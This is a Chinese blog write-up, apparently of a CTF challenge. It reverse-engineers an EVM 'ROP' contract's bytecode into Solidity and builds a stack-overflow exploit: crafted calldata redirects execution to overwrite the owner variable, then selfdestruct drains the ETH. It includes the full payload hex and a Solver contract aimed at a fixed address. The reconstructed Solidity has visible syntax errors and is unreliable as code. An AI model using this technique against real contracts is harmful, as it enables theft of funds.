0x223: POP                      0x7909947a framePointer 
0x224: PUSH2     0x22b          0x7909947a framePointer 0x22b
0x227: PUSH2     0x9b           0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP                     0x7909947a framePointer 0x22b
0x22b: JUMPDEST                 0x7909947a framePointer returnValue3
0x22c: POP                      0x7909947a framePointer 
0x22d: PUSH2     0x234          0x7909947a framePointer 0x234
0x230: PUSH2     0x9b           0x7909947a framePointer 0x234 0x9b
0x233: JUMP                     0x7909947a framePointer 0x234
0x234: JUMPDEST                 0x7909947a framePointer returnValue3
0x235: POP                      0x7909947a framePointer 
0x236: PUSH2     0xc3           0x7909947a framePointer 0xc3
0x239: JUMP                     0x7909947a framePointer 

=> 翻译一下
function 0x7909947a_impl() public {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}
function pad_data() private {
    while (get_stack(0) % 0x40 != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        assembly {
            mstore(temp0+temp2, 0x00)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}
function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}
function get_stack(uint i) private returns (uint256 value){
    //helper M[M[0x100+0x20*i]]
    assembly {
        let temp := mload(0x100)
        let temp2 := sub(temp, mul(0x20, i))
        value := mload(temp2)
    }
}

:cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。

0x00 0x200 get_stack(0)
size-0x44 0x1e0 get_stack(1)
0x0120 0x1c0 get_stack(2)
0x90000 0x1a0 get_stack(3)
return pointer 0x180 get_stack(4)
stack frme 0x7909947a() 0x160 get_stack(5)
0x00 0x140 get_stack(6)
0x00 0x120 get_stack(7)

copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。

paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80.

则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。

:crossed_fingers:solidity代码整理

由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑

pragma solidity ^0.5.0;

contract ROP {
    address _get;
    address _die;

    constructor(address get_, address die_) public payable {
        _get = get_;
        _die = die_;
    }

    function die() public payable { 
        require(msg.sender == _die);
        selfdestruct(_die);
    }
    function get() public { 
        require(msg.sender != _get);
        return _get;
    }
    function() public payable { 
        revert();
    }
    modifier nonPayable() {
        require(msg.value == 0);
        _;
    }
    function push_stack_frame() private {
        uint256 value;
        assembly{
            value := mload(0x100)
        }
        push_stack(value)
    } 
    function push_stack(uint256 value) private {
        uint temp;
        assembly{
            temp := mload(0x100)
            mstore(add(temp, 0x20), value)
            mstore(0x100, add(temp, 0x20))
        }
    }
    function set_impl() private{
        uint temp0;
        uint temp1
        assembly{
            temp0 := mload(0x100) //M[100]
            temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
            sstore(mload(temp0), temp1)
        }
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        // assembly {
        //     jump(redirectTo)
        // }
        return;
    }
    function stack_pointer_init() private {
        assembly{
            mstore(0x100, 0x100)
        }
    }

    function pad_data() private {
        while (get_stack(0) % 0x40 != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            assembly {
                mstore(temp0+temp2, 0x00)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function copy_data() private {
        while (get_stack(0) - get_stack(1) != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            uint temp3 = get_stack(3);
            assembly {
                let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
                let temp_key := add(temp0, temp2)
                mstore8(temp_key, temp_val)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function get_stack(uint i) private returns (uint256 value){
        //helper M[M[0x100+0x20*i]]
        assembly {
            let temp := mload(0x100)
            let temp2 := sub(temp, mul(0x20, i))
            value := mload(temp2)
        }
    }
    function 0x7909947a_impl() private {
        push_stack(0x0);
        copy_data();
        uint temp = get_stack(0) + get_stack(2);
        assembly{
            mstore(temp, 0x00)
        }
        pad_data();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function set(uint256 value) public nonPayable{
        push_stack_frame();
        uint redirectTo = 0x344;
        push_stack(redirectTo);
        uint256 newStackPointer;
        assembly{
            newStackPointer := calldataload(0x04)
        }
        push_stack(newStackPointer);
        push_stack(0x00);
        set_impl();
    }
    function 0x7909947a() public {
        stack_pointer_init();
        push_stack(0x0);
        uint topPointer;
        assembly{
            topPointer := mload(0x100)
        }
        push_stack(0x0);
        uint size;
        assembly {
            size := calldatasize()
            calldatacopy(0x90000, 0x44, size)
        }
        push_stack_frame();
        uint return_pointer = 0x29b;
        push_stack(return_pointer);
        push_stack(0x90000);
        push_stack(topPointer);
        push_stack(size-0x44);
        0x7909947a_impl();
    }
}

:necktie: 问题分析

合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢?

思路很直接,肯定是利用die函数,但是die函数要求msg.sender == die_, 因此需要重写全局变量die_的值。又发现唯一一个能写全局变量的值的函数是set_impl().分析set_impl()函数,其实质是将get_stack(1)的值写入get_stack(0)处。故我们需要构造一个stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin 以及为了使用pop_stack_frame()函数,需要保证一个返回位点位于get_stack(3)==return gadget

同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a函数,传入data,然后再内部调用0x7909947a_impl()函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()函数中,拷贝数据的逻辑由copydata确定。故我们需要根据copydata的逻辑来构造我们的data数据。

0x260 0x20
0x240 address(msg.sender)
0x220 return point (0x344)
0x00 0x200 0xff (当前拷贝的值的位置,offset)
size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff.

第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,mstore(mload(0x100), add(temp0, 0x01))这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。

function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}

所以构造的数据为:此时还需要加上前面被略去的0x44个字节

7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260

:haircut_man: 验证数据

好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:

function 0x7909947a_impl() private {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

经过copydata, 之后跳过pad_data部分,弹出4个,进入到pop_stack_frame()中,此时的栈结构为:

size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

然后再经过pop_stack_frame()后,栈的结构变为:

function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        assembly {
            jump(redirectTo)
        }
        //return;
    }
get_stack(0) 90140 0x20
get_stack(1) 90120 address(msg.sender)
get_stack(2) 90100 return point (0x344)

同时函数跳转到0x2ea位置处,即set_impl()处,此刻即构造成功了我们需要的栈。

function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:haircut_woman: 解决方案:

由此,我们最后的解决方案如下:

//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address) ;
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}
点赞 3
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code